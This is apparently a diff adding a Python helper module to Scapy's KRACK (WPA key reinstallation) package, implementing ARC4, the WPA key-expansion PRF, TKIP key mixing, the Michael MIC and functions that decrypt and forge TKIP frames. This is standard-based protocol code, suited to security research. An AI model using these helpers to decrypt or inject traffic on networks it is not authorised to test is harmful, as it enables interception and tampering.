+    algorithm = algorithms.ARC4(key)
+    cipher = Cipher(algorithm, mode=None, backend=default_backend())
+    encryptor = cipher.encryptor()
+    if skip:
+        encryptor.update("\x00" * skip)
+    return encryptor.update(data)
+
+def ARC4_decrypt(key, data, skip=0):
+    """Decrypt data @data with key @key, skipping @skip first bytes of the
+    keystream"""
+    return ARC4_encrypt(key, data, skip)
+
+# Custom WPA PseudoRandomFunction
+
+def customPRF512(key, amac, smac, anonce, snonce):
+    """Source https://stackoverflow.com/questions/12018920/"""
+    A = "Pairwise key expansion"
+    B = "".join(sorted([amac, smac]) + sorted([anonce, snonce]))
+
+    blen = 64
+    i    = 0
+    R    = ''
+    while i<=((blen*8+159)/160):
+        hmacsha1 = hmac.new(key,A+chr(0x00)+B+chr(i), hashlib.sha1)
+        i+=1
+        R = R+hmacsha1.digest()
+    return R[:blen]
+
+# TKIP - WEPSeed generation
+# Tested against pyDot11: tkip.py
+
+# 802.11i p.53-54
+_SBOXS = [
+    [
+        0xC6A5, 0xF884, 0xEE99, 0xF68D, 0xFF0D, 0xD6BD, 0xDEB1, 0x9154,
+        0x6050, 0x0203, 0xCEA9, 0x567D, 0xE719, 0xB562, 0x4DE6, 0xEC9A,
+        0x8F45, 0x1F9D, 0x8940, 0xFA87, 0xEF15, 0xB2EB, 0x8EC9, 0xFB0B,
+        0x41EC, 0xB367, 0x5FFD, 0x45EA, 0x23BF, 0x53F7, 0xE496, 0x9B5B,
+        0x75C2, 0xE11C, 0x3DAE, 0x4C6A, 0x6C5A, 0x7E41, 0xF502, 0x834F,
+        0x685C, 0x51F4, 0xD134, 0xF908, 0xE293, 0xAB73, 0x6253, 0x2A3F,
+        0x080C, 0x9552, 0x4665, 0x9D5E, 0x3028, 0x37A1, 0x0A0F, 0x2FB5,
+        0x0E09, 0x2436, 0x1B9B, 0xDF3D, 0xCD26, 0x4E69, 0x7FCD, 0xEA9F,
+        0x121B, 0x1D9E, 0x5874, 0x342E, 0x362D, 0xDCB2, 0xB4EE, 0x5BFB,
+        0xA4F6, 0x764D, 0xB761, 0x7DCE, 0x527B, 0xDD3E, 0x5E71, 0x1397,
+        0xA6F5, 0xB968, 0x0000, 0xC12C, 0x4060, 0xE31F, 0x79C8, 0xB6ED,
+        0xD4BE, 0x8D46, 0x67D9, 0x724B, 0x94DE, 0x98D4, 0xB0E8, 0x854A,
+        0xBB6B, 0xC52A, 0x4FE5, 0xED16, 0x86C5, 0x9AD7, 0x6655, 0x1194,
+        0x8ACF, 0xE910, 0x0406, 0xFE81, 0xA0F0, 0x7844, 0x25BA, 0x4BE3,
+        0xA2F3, 0x5DFE, 0x80C0, 0x058A, 0x3FAD, 0x21BC, 0x7048, 0xF104,
+        0x63DF, 0x77C1, 0xAF75, 0x4263, 0x2030, 0xE51A, 0xFD0E, 0xBF6D,
+        0x814C, 0x1814, 0x2635, 0xC32F, 0xBEE1, 0x35A2, 0x88CC, 0x2E39,
+        0x9357, 0x55F2, 0xFC82, 0x7A47, 0xC8AC, 0xBAE7, 0x322B, 0xE695,
+        0xC0A0, 0x1998, 0x9ED1, 0xA37F, 0x4466, 0x547E, 0x3BAB, 0x0B83,
+        0x8CCA, 0xC729, 0x6BD3, 0x283C, 0xA779, 0xBCE2, 0x161D, 0xAD76,
+        0xDB3B, 0x6456, 0x744E, 0x141E, 0x92DB, 0x0C0A, 0x486C, 0xB8E4,
+        0x9F5D, 0xBD6E, 0x43EF, 0xC4A6, 0x39A8, 0x31A4, 0xD337, 0xF28B,
+        0xD532, 0x8B43, 0x6E59, 0xDAB7, 0x018C, 0xB164, 0x9CD2, 0x49E0,
+        0xD8B4, 0xACFA, 0xF307, 0xCF25, 0xCAAF, 0xF48E, 0x47E9, 0x1018,
+        0x6FD5, 0xF088, 0x4A6F, 0x5C72, 0x3824, 0x57F1, 0x73C7, 0x9751,
+        0xCB23, 0xA17C, 0xE89C, 0x3E21, 0x96DD, 0x61DC, 0x0D86, 0x0F85,
+        0xE090, 0x7C42, 0x71C4, 0xCCAA, 0x90D8, 0x0605, 0xF701, 0x1C12,
+        0xC2A3, 0x6A5F, 0xAEF9, 0x69D0, 0x1791, 0x9958, 0x3A27, 0x27B9,
+        0xD938, 0xEB13, 0x2BB3, 0x2233, 0xD2BB, 0xA970, 0x0789, 0x33A7,
+        0x2DB6, 0x3C22, 0x1592, 0xC920, 0x8749, 0xAAFF, 0x5078, 0xA57A,
+        0x038F, 0x59F8, 0x0980, 0x1A17, 0x65DA, 0xD731, 0x84C6, 0xD0B8,
+        0x82C3, 0x29B0, 0x5A77, 0x1E11, 0x7BCB, 0xA8FC, 0x6DD6, 0x2C3A
+    ],
+    [
+        0xA5C6, 0x84F8, 0x99EE, 0x8DF6, 0x0DFF, 0xBDD6, 0xB1DE, 0x5491,
+        0x5060, 0x0302, 0xA9CE, 0x7D56, 0x19E7, 0x62B5, 0xE64D, 0x9AEC,
+        0x458F, 0x9D1F, 0x4089, 0x87FA, 0x15EF, 0xEBB2, 0xC98E, 0x0BFB,
+        0xEC41, 0x67B3, 0xFD5F, 0xEA45, 0xBF23, 0xF753, 0x96E4, 0x5B9B,
+        0xC275, 0x1CE1, 0xAE3D, 0x6A4C, 0x5A6C, 0x417E, 0x02F5, 0x4F83,
+        0x5C68, 0xF451, 0x34D1, 0x08F9, 0x93E2, 0x73AB, 0x5362, 0x3F2A,
+        0x0C08, 0x5295, 0x6546, 0x5E9D, 0x2830, 0xA137, 0x0F0A, 0xB52F,
+        0x090E, 0x3624, 0x9B1B, 0x3DDF, 0x26CD, 0x694E, 0xCD7F, 0x9FEA,
+        0x1B12, 0x9E1D, 0x7458, 0x2E34, 0x2D36, 0xB2DC, 0xEEB4, 0xFB5B,
+        0xF6A4, 0x4D76, 0x61B7, 0xCE7D, 0x7B52, 0x3EDD, 0x715E, 0x9713,
+        0xF5A6, 0x68B9, 0x0000, 0x2CC1, 0x6040, 0x1FE3, 0xC879, 0xEDB6,
+        0xBED4, 0x468D, 0xD967, 0x4B72, 0xDE94, 0xD498, 0xE8B0, 0x4A85,
+        0x6BBB, 0x2AC5, 0xE54F, 0x16ED, 0xC586, 0xD79A, 0x5566, 0x9411,
+        0xCF8A, 0x10E9, 0x0604, 0x81FE, 0xF0A0, 0x4478, 0xBA25, 0xE34B,
+        0xF3A2, 0xFE5D, 0xC080, 0x8A05, 0xAD3F, 0xBC21, 0x4870, 0x04F1,
+        0xDF63, 0xC177, 0x75AF, 0x6342, 0x3020, 0x1AE5, 0x0EFD, 0x6DBF,
+        0x4C81, 0x1418, 0x3526, 0x2FC3, 0xE1BE, 0xA235, 0xCC88, 0x392E,
+        0x5793, 0xF255, 0x82FC, 0x477A, 0xACC8, 0xE7BA, 0x2B32, 0x95E6,
+        0xA0C0, 0x9819, 0xD19E, 0x7FA3, 0x6644, 0x7E54, 0xAB3B, 0x830B,
+        0xCA8C, 0x29C7, 0xD36B, 0x3C28, 0x79A7, 0xE2BC, 0x1D16, 0x76AD,
+        0x3BDB, 0x5664, 0x4E74, 0x1E14, 0xDB92, 0x0A0C, 0x6C48, 0xE4B8,
+        0x5D9F, 0x6EBD, 0xEF43, 0xA6C4, 0xA839, 0xA431, 0x37D3, 0x8BF2,
+        0x32D5, 0x438B, 0x596E, 0xB7DA, 0x8C01, 0x64B1, 0xD29C, 0xE049,
+        0xB4D8, 0xFAAC, 0x07F3, 0x25CF, 0xAFCA, 0x8EF4, 0xE947, 0x1810,
+        0xD56F, 0x88F0, 0x6F4A, 0x725C, 0x2438, 0xF157, 0xC773, 0x5197,
+        0x23CB, 0x7CA1, 0x9CE8, 0x213E, 0xDD96, 0xDC61, 0x860D, 0x850F,
+        0x90E0, 0x427C, 0xC471, 0xAACC, 0xD890, 0x0506, 0x01F7, 0x121C,
+        0xA3C2, 0x5F6A, 0xF9AE, 0xD069, 0x9117, 0x5899, 0x273A, 0xB927,
+        0x38D9, 0x13EB, 0xB32B, 0x3322, 0xBBD2, 0x70A9, 0x8907, 0xA733,
+        0xB62D, 0x223C, 0x9215, 0x20C9, 0x4987, 0xFFAA, 0x7850, 0x7AA5,
+        0x8F03, 0xF859, 0x8009, 0x171A, 0xDA65, 0x31D7, 0xC684, 0xB8D0,
+        0xC382, 0xB029, 0x775A, 0x111E, 0xCB7B, 0xFCA8, 0xD66D, 0x3A2C
+    ]
+]
+
+# 802.11i Annex H
+PHASE1_LOOP_CNT = 8
+
+def _MK16(b1, b2):
+    return (b1 << 8) | b2
+
+def _SBOX16(index):
+    return _SBOXS[0][index & 0xff] ^ _SBOXS[1][(index >> 8)]
+
+def _CAST16(value):
+    return value & 0xffff
+
+def _RotR1(value):
+    return ((value >> 1) & 0x7fff) | (value << 15)
+
+def gen_TKIP_RC4_key(TSC, TA, TK):
+    """Implement TKIP WEPSeed generation
+    TSC: packet IV
+    TA: target addr bytes
+    TK: temporal key
+    """
+
+    assert len(TSC) == 6
+    assert len(TA) == 6
+    assert len(TK) == 16
+    assert all(isinstance(x, (int, long)) for x in TSC + TA + TK)
+
+    # Phase 1
+    # 802.11i p.54
+
+    # Phase 1 - Step 1
+    TTAK = []
+    TTAK.append(_MK16(TSC[3], TSC[2]))
+    TTAK.append(_MK16(TSC[5], TSC[4]))
+    TTAK.append(_MK16(TA[1], TA[0]))
+    TTAK.append(_MK16(TA[3], TA[2]))
+    TTAK.append(_MK16(TA[5], TA[4]))
+
+    # Phase 1 - Step 2
+    for i in xrange(PHASE1_LOOP_CNT):
+        j = 2 * (i & 1)
+        TTAK[0] = _CAST16(TTAK[0] + _SBOX16(TTAK[4] ^ _MK16(TK[1 + j], TK[0 + j])))
+        TTAK[1] = _CAST16(TTAK[1] + _SBOX16(TTAK[0] ^ _MK16(TK[5 + j], TK[4 + j])))
+        TTAK[2] = _CAST16(TTAK[2] + _SBOX16(TTAK[1] ^ _MK16(TK[9 + j], TK[8 + j])))
+        TTAK[3] = _CAST16(TTAK[3] + _SBOX16(TTAK[2] ^ _MK16(TK[13 + j], TK[12 + j])))
+        TTAK[4] = _CAST16(TTAK[4] + _SBOX16(TTAK[3] ^ _MK16(TK[1 + j], TK[0 + j])) + i)
+
+    # Phase 2
+    # 802.11i p.56
+
+    # Phase 2 - Step 1
+    PPK = list(TTAK)
+    PPK.append(_CAST16(TTAK[4] + _MK16(TSC[1], TSC[0])))
+
+    # Phase 2 - Step 2
+    PPK[0] = _CAST16(PPK[0] + _SBOX16(PPK[5] ^ _MK16(TK[1], TK[0])))
+    PPK[1] = _CAST16(PPK[1] + _SBOX16(PPK[0] ^ _MK16(TK[3], TK[2])))
+    PPK[2] = _CAST16(PPK[2] + _SBOX16(PPK[1] ^ _MK16(TK[5], TK[4])))
+    PPK[3] = _CAST16(PPK[3] + _SBOX16(PPK[2] ^ _MK16(TK[7], TK[6])))
+    PPK[4] = _CAST16(PPK[4] + _SBOX16(PPK[3] ^ _MK16(TK[9], TK[8])))
+    PPK[5] = _CAST16(PPK[5] + _SBOX16(PPK[4] ^ _MK16(TK[11], TK[10])))
+
+    PPK[0] = _CAST16(PPK[0] + _RotR1(PPK[5] ^ _MK16(TK[13], TK[12])))
+    PPK[1] = _CAST16(PPK[1] + _RotR1(PPK[0] ^ _MK16(TK[15], TK[14])))
+    PPK[2] = _CAST16(PPK[2] + _RotR1(PPK[1]))
+    PPK[3] = _CAST16(PPK[3] + _RotR1(PPK[2]))
+    PPK[4] = _CAST16(PPK[4] + _RotR1(PPK[3]))
+    PPK[5] = _CAST16(PPK[5] + _RotR1(PPK[4]))
+
+    # Phase 2 - Step 3
+    WEPSeed = []
+    WEPSeed.append(TSC[1])
+    WEPSeed.append((TSC[1] | 0x20) & 0x7f)
+    WEPSeed.append(TSC[0])
+    WEPSeed.append(((PPK[5] ^ _MK16(TK[1], TK[0])) >> 1) & 0xFF)
+    for i in xrange(6):
+        WEPSeed.append(PPK[i] & 0xFF)
+        WEPSeed.append(PPK[i] >> 8)
+
+    assert len(WEPSeed) == 16
+
+    return "".join([chr(x) for x in WEPSeed])
+
+# TKIP - Michael
+# Tested against cryptopy (crypto.keyedHash.michael: Michael)
+
+def _rotate_right32(value, shift):
+    return (value >> (shift % 32) | value << ((32 - shift) % 32)) & 0xFFFFFFFF
+
+def _rotate_left32(value, shift):
+    return (value << (shift % 32) | value >> ((32 - shift) % 32)) & 0xFFFFFFFF
+
+def _XSWAP(value):
+    """Swap 2 least significant bytes of @value"""
+    return ((value & 0xFF00FF00) >> 8) | ((value & 0x00FF00FF) << 8)
+
+def _michael_b(l, r):
+    """Defined in 802.11i p.49"""
+    r = r ^ _rotate_left32(l, 17)
+    l = (l + r) % 2**32
+    r = r ^ _XSWAP(l)
+    l = (l + r) % 2**32
+    r = r ^ _rotate_left32(l, 3)
+    l = (l + r) % 2**32
+    r = r ^ _rotate_right32(l, 2)
+    l = (l + r) % 2**32
+    return l, r
+
+def michael(key, to_hash):
+    """Defined in 802.11i p.48"""
+
+    # Block size: 4
+    nb_block, nb_extra_bytes = divmod(len(to_hash), 4)
+    # Add padding
+    data = to_hash + chr(0x5a) + "\x00" * (7 - nb_extra_bytes)
+
+    # Hash
+    l, r = unpack('<II', key)
+    for i in xrange(nb_block + 2):
+        # Convert i-th block to int
+        block_i = unpack('<I', data[i*4:i*4 + 4])[0]
+        l ^= block_i
+        l, r = _michael_b(l, r)
+    return pack('<II', l, r)
+
+# TKIP packet utils
+
+def parse_TKIP_hdr(pkt):
+    """Extract TSCs, TA and encoded-data from a packet @pkt"""
+    # Note: FCS bit is not handled
+    assert pkt.FCfield.wep
+
+    # 802.11i - 8.3.2.2
+    payload = BytesIO(pkt[Raw].load)
+    TSC1, WEPseed, TSC0, bitfield = (orb(x) for x in payload.read(4))
+    if bitfield & (1 << 5):
+        # Extended IV
+        TSC2, TSC3, TSC4, TSC5 = (orb(x) for x in payload.read(4))
+    else:
+        TSC2, TSC3, TSC4, TSC5 = None, None, None, None
+        # 802.11i p. 46
+        raise ValueError("Extended IV must be set for TKIP")
+
+    # 802.11i p. 46
+    assert (TSC1 | 0x20) & 0x7f == WEPseed
+
+    TA = [orb(e) for e in hex_bytes(pkt.addr2.replace(':', ''))]
+    TSC = [TSC0, TSC1, TSC2, TSC3, TSC4, TSC5]
+
+    return TSC, TA, payload.read()
+
+def build_TKIP_payload(data, iv, mac, tk):
+    """Build a TKIP header for IV @iv and mac @mac, and encrypt @data
+    based on temporal key @tk
+    """
+    TSC5, TSC4, TSC3, TSC2, TSC1, TSC0 = (
+        (iv >> 40) & 0xFF,
+        (iv >> 32) & 0xFF,
+        (iv >> 24) & 0xFF,
+        (iv >> 16) & 0xFF,
+        (iv >> 8) & 0xFF,
+        iv & 0xFF
+    )
+    bitfield = 1 << 5 # Extended IV
+    TKIP_hdr = chr(TSC1) + chr((TSC1 | 0x20) & 0x7f) + chr(TSC0) + chr(bitfield)
+    TKIP_hdr += chr(TSC2) + chr(TSC3) + chr(TSC4) + chr(TSC5)
+
+    TA = [orb(e) for e in hex_bytes(mac.replace(':', ''))]
+    TSC = [TSC0, TSC1, TSC2, TSC3, TSC4, TSC5]
+    TK = [orb(x) for x in tk]
+
+    rc4_key = gen_TKIP_RC4_key(TSC, TA, TK)
+    return TKIP_hdr + ARC4_encrypt(rc4_key, data)
+
+def parse_data_pkt(pkt, tk):
+    """Extract data from a WPA packet @pkt with temporal key @tk"""
+    TSC, TA, data = parse_TKIP_hdr(pkt)
+    TK = [orb(x) for x in tk]
+
+    rc4_key = gen_TKIP_RC4_key(TSC, TA, TK)
+    return ARC4_decrypt(rc4_key, data)
+
+class ICVError(Exception):
+    """The expected ICV is not the computed one"""
+    pass
+
+class MICError(Exception):
+    """The expected MIC is not the computed one"""
+    pass
+
+def check_MIC_ICV(data, mic_key, source, dest):
+    """Check MIC, ICV & return the data from a decrypted TKIP packet"""
+    assert len(data) > 12
+
+    # DATA - MIC(DA - SA - Priority=0 - 0 - 0 - 0 - DATA) - ICV
+    # 802.11i p.47
+
+    ICV = data[-4:]
+    MIC = data[-12:-4]
+    data_clear = data[:-12]
+
+    expected_ICV = pack("<I", crc32(data_clear + MIC) & 0xFFFFFFFF)
+    if expected_ICV != ICV:
+        raise ICVError()
+
+    sa = hex_bytes(source.replace(":", "")) # Source MAC
+    da = hex_bytes(dest.replace(":", "")) # Dest MAC
+
+    expected_MIC = michael(mic_key, da + sa + "\x00" + "\x00" * 3 + data_clear)
+    if expected_MIC != MIC:
+        raise MICError()
+
+    return data_clear
+
+def build_MIC_ICV(data, mic_key, source, dest):
+    """Compute and return the data with its MIC and ICV"""
+    # DATA - MIC(DA - SA - Priority=0 - 0 - 0 - 0 - DATA) - ICV
+    # 802.11i p.47
+
+    sa = hex_bytes(source.replace(":", "")) # Source MAC
+    da = hex_bytes(dest.replace(":", "")) # Dest MAC
+    MIC = michael(mic_key, da + sa + "\x00" + "\x00" * 3 + data)
+    ICV = pack("<I", crc32(data + MIC) & 0xFFFFFFFF)
+
+    return data + MIC + ICV
diff --git a/setup.py b/setup.py
index fd5c124..e1be3bc 100755
--- a/setup.py
+++ b/setup.py
@@ -58,6 +58,7 @@
         'scapy/layers/tls',
         'scapy/layers/tls/crypto',
         'scapy/modules',
+        'scapy/modules/krack',
         'scapy/asn1',
         'scapy/tools',
     ],